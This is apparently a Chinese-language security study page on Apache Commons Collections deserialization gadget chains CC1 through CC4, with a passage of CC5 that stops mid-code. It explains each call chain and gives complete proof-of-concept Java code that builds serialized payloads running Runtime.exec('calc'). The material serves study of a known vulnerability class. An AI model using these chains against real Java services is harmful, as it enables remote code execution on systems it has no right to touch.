目录
CC链
主要是炒冷饭+搬运
CC1
TransformerMap
这篇写的很好,下面基本抄它的
Java安全入门(二)——CC链1 分析+详解_cc1链分析_ErYao7的博客-CSDN博客
配置环境
- CommonsCollections <= 3.2.1
- java < 8u71(我是用的是8u66)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
利用
Transformer接口
Transformer
是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)
:
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}
该接口的重要实现类有:ConstantTransformer
、invokerTransformer
、ChainedTransformer
、TransformedMap
。
ConstantTransformer
关键代码如下:
接收一个对象然后返回一个常量
ChainedTransformer
当传入的参数是一个数组的时候,就开始循环读取,对每个参数调用transform
方法,从而构造出一条链。它赋值时会传入一个要调用方法的数组,然后将传入的方法链式调用(前一个的输出作后一个的输入)。
InvokerTransformer
我们先看一下它的transform
方法,传入一个对象,然后反射调用。这里的方法值,参数类型,参数都是可控。
跟进去,可控构造方法
例子1
package Apache_Common_Collections;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo01 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}
这个可以用来弹计算器
这里为InvokerTransformer
类中transform
方法传入Runtime
实例,同时通过构造方法传入了exec
方法以及需要的参数类型String.class
和参数值calc
,我们之前提到了transform
方法中的反射调用,所以成功弹出计算器。
所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer
类中的transform
方法
假如再寻找的过程中a方法调用了transform
,那么我们就要继续谁调用了a方法,最终找到readObject
方法
最终是可以发现Map类中可以入手的
TransformerMap
TransformerMap
中checkSetValue
中调用了transform
方法
再来看看TransformedMap
构造函数
我们可以根据构造函数理解一下TransformedMap
的功能,接收一个Map
进来,分别对key
和Value
进行一些操作。
因为构造方法是protected
保护方法
所以我们可以找到在该类中调用它的方法decorate
AbstractInputCheckedMapDecorator类
下一步我们再去看看哪个方法调用了checkSetValue
方法
只有一处调用,setValue
方法调用了checkSetValue
这个类是个抽象类,再去找找它的子类
我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。
再回来看看AbstractInputCheckedMapDecorator
的setValue
MapEntry
中的setValue
方法其实就是Entry
中的setValue
方法,他这里重写了setValue
方法
TransformedMap
接受Map
对象并且进行转换是需要遍历Map
的,遍历出的一个键值对就是Entry
,所以当遍历Map
时,setValue
方法也就执行了
发现这一点的话,我们就可以通过遍历Map来触发代码的执行。
例子2
package Apache_Common_Collections;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo02 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 以下步骤就相当于 invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}
}
AnnotationInvocationHandler
我们再回来看看谁调用了setValue方法,还是不同名的方法的调用
这里看到了AnnotationInvocationHandler
有调用,为什么要选用AnnotationInvocationHandler
呢,因为这里是readobject
,和我们的最终目标相同。
接下来我们分析AnnotationInvocationHandler
类,需要注意的是他不是public,只能在所属包下访问到,所以我们通过反射获取。
先看一下构造函数
接收两个参数class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map
同样在readObject
方法,我们也发现Map的遍历
写个例子帮助理解
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo01 {
public static void main(String[] args) throws Exception {
//演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
//正常序列化与反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
完整poc
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class demo01 {
public static void main(String[] args) throws Exception {
// //正常获取runtime实例
// Runtime runtime = Runtime.getRuntime();
// //反射获取 runtime实例,并执行代码
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");
// //InvokerTransformer方法获取runtime实例,并执行代码
// Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
利用链
Transformer接口->制作链式调用恶意方法
InvokerTransformer/任意调用
ConstantTransformer/获取对象
ChainedTransformer/封装链式
TransformedMap->套娃触发ChainedTransformer.transform
AnnotationInvocationHandler->readObject触发TransformedMap
lazymap
环境搭建
使用java7搭建环境,高版本的
sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑发生了改变
调用分析
之前分析的cc1的链使用的是TransformedMap
下的checkSetValue
方法,但是还有其他利用链,就比如LazyMap
下的get方法调用factory.transform
方法
这里是get找不到值时会触发transform
。
再来看LazyMap
对象的decorate
方法
返回的是一个LazyMap
对象,get方法中的factory
是我们的transformerChain
,那么我要找一个调用get方法的类。
还是AnnotationInvocationHandler
类,invoke
函数里面调用了get
方法
那怎么调用invoke
方法呢
我们如果将AnnotationInvocationHandler
对象用Proxy进行代理,那么在readObject
的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke
方法中
就是下面这个:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
完整的poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
try {
//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
//动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用链
CC2
环境搭建
jdk8u71
commons collections-4.0
在maven项目中的pom文件中添加4.0版本的依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
在CC2链中构造利用链用到了动态字节码编程来构造poc,需要引入javassist的依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
前置知识
Java安全之Commons Collections2分析 - nice_0e3 - 博客园 (cnblogs.com)
搬运过来
PriorityQueue
构造方法
PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常见方法
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
代码示例
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) {
PriorityQueue<Integer> priorityQueue = new PriorityQueue<>();
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
}
1
2
getDeclaredField
getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。
该方法返回的是一个Field对象
Field
get 返回该所表示的字段的值 Field ,指定的对象上。
set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值。
TransformingComparator
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
类似
调用分析
PriorityQueue
类中的readObject
方法开始
首先是调用默认的defaultReadObject()
方法然后调用readInt()
方法读取优先级队列的长度,queue[i]
的值是由readObject()
得到,这里是在writeObject()
处写入对应的内容
这里可以通过反射来设置queue[i]
的值,也就是queue[i]
的值是可控的,最后进入heapify()
方法之中
进入heapify
方法后,这里有个for循环,条件是size>>>1
,也就是对size进行右移位操作,那么就是size>1
的时候才会进入循环,继续跟进siftdown()
这里的x就是queue[i]
,跟进siftDownUsingcomparator
方法。
x
就是我们传入的queue[i]
,而这里的comparator
接口调用了TransformingComparator
中重写的compare
方法
这里调用了this.transformer
的transform
方法,跟进去,input就是前面的obj1,this.iMethodName
的值为传入的newTransformer
因为newTransformer
方法中调用到了getTransletInstance
方法
继续跟到getTransletInstance
方法中,如果_name
不为空(通过反射将_name属性设置为恶意类TestTemplatesImpl的类名),_class
为空,则调用defineTransletClasses
方法
继续跟进defineTransletClasses
方法,通过loader.defineClass
还原class对象,判断当前class
对象是否继承了AbstractTranslet类并设置_transletIndex
索引。这里必须继承类,否则_transletIndex
值默认为-1
给_transletIndex
赋值后,返回到getTransletInstance
方法,创建_class[_transletIndex]
的对象,即创建恶意类的对象,那么该类中的static代码就会执行。
写poc
创建一个恶意类,在它的构造函数里放入恶意代码
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
然后将恶意类放入TemplatesImpl
的_bytecodes
属性,这样到时候就可以将恶意类加载到_class
属性,然后实例化恶意类,执行无参构造函数,从而执行恶意代码,·属性前面说过不能为空,不然会在getTransletInstance
方法里直接返回
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
用InvokerTransformer
方法调用newTransformer
,再用TransformingComparator
的compare
方法会去调用传入参数的transform方法,而满足compare
的办法就需要用到PriorityQueue
来实现了。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
这里add两个1是为了满足heapify()
中的(int i = (size >>> 1) - 1; i >= 0; i--)
,这样经过计算刚好为0,满足条件
设置queue
为Object[]
数组,内容为两个内置恶意代码的TemplatesImpl
实例化对象。这样调用heapify
方法里面的时候就会进行传参进去。
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
commons-collections2(cc2)反序列化链分析_cc2 分析_Ys3ter的博客-CSDN博客
完整poc
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
CC3
commons-collections3(cc3)反序列化链分析_Ys3ter的博客-CSDN博客
环境配置
JDK 1.7
Commons Collections 3.1
javassist
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.24.1-GA</version>
</dependency>
</dependencies>
前置知识
TrAXFilter
调用了传入参数的newTransformer()
方法,这个方法在cc2中出现过,cc2中是在InvokerTransformer.transform()
中通过反射调用TemplatesImpl.newTransformer()
方法,在cc3里面,就可以直接使用TrxFilter
来调用newTransformer()
方法
InstantiateTransformer
实现了Transformer
、Serializable
接口,在它的transform()
方法中,判断了input
参数是否为Class
,若为Class,通过反射实例化一个对象并返回;
利用链分析
前面的和lazymap那条链子很像,从lazymap的get方法开始分析
factory
参数为ChainedTransformer
的实例化对象,这里调用它的transform
方法
跟进ChainedTransformer.transform()
,对transformers[]
数组进行循环
第一轮循环,iTransformers[0]
参数值为ConstantTransformer
,进入它的transform方法,返回TrAXFilter类;
第二轮循坏,iTransformers[1]
参数值为InstantiateTransformer
,TrAXFilter
作为参数传入transform
方法;
跟进它的transform
方法,input参数值为TrAXFilter
,iParamTypes
参数值为Templates
,this.iArgs
为构造好的恶意TemplatesImpl
实例化对象
跟进去TrAXFilter
看一下
跟进newTransformer()
,调用了getTransletInstance()
方法;
跟进getTransletInstance()
方法,参数就在里面执行
poc
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("cc3exp");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);
//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
CC4
cc2 的前半段 + cc3 的后半段
环境搭建
java8u65
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
调用分析
这条链子的入口点和cc2一样,都是PriorityQueue
的readObject
在readObject
会调用heapify
方法,跟进去
heapify
方法会再去调用siftDown
方法
在这里如果comparator
不为空,还会继续调用siftDownUsingComparator
方法,comparator
在这里是被修饰的Transformer[]
数组。前面可以使用反射进行设置。跟进
这里会调用comparator
的compare
方法,在前面使用到了TransformingComparator
来修饰,所以调用到TransformingComparator
的compare
方法
在被TransformingComparator
修饰前,还使用了ChainedTransformer
修饰器进行修饰,在this.transformer
为ChainedTransformer
的实例化对象。所以这里调用的是ChainedTransformer
的transform
。该方法会遍历调用Transformer[]
数组的transform
方法。
第一次遍历调用transform
方法时,因为前面Transformer[]
存储的第一个是ConstantTransformer
。ConstantTransformer
的transform
会直接返回TrAXFilter
对象。
第二次调用的时候则是传入TrAXFilter
调用InstantiateTransformer
的transform
方法。
这里的this.iParamTypes
为templates
,而this.iArgs
为构造的恶意TemplatesImpl
实例化对象。
那么这一步就是获取TrAXFilter
为templates
的构造方法。然后调用该构造方法实例化对象,并且传入TemplatesImpl
恶意类。看看TrAXFilter
的构造方法
在该方法还会调用到getTransletInstance
方法。继续跟进。
到了这里会判断_class
为空的话就会去调用defineTransletClasses
进行赋值。跟踪一下defineTransletClasses
方法查看是如何赋值的。
_bytecodes
对_class
进行赋值。_bytecodes
为Runtime
类执行命令代码的字节码。
在执行完方法后,来到下一步。
Java安全之Commons Collections4分析 - nice_0e3 - 博客园 (cnblogs.com)
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("cc4exp");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("ser.out"));
inputStream.readObject();
}
}
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
CC5
cc5和cc1的lazymap那条链子很像
环境配置
java8u65
Commons Collections 3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
前置知识
TiedMapEntry
先看其的构造函数
这个类的构造方法需要两个参数。再看一下getValue
在getValue
方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap
对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。
再来看看tostring
tostring
方法里面就会去调用到getValue
方法
调用分析
我们可以用BadAttributeValueExpException的readobject方法
我们可以给val赋值为TiedMapEntry
,这样就会调用TiedMapEntry
的tostring
方法
后面就是像前面所说那样调用getValue
方法,然后是lazymap
的get
,基本和cc1一样
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
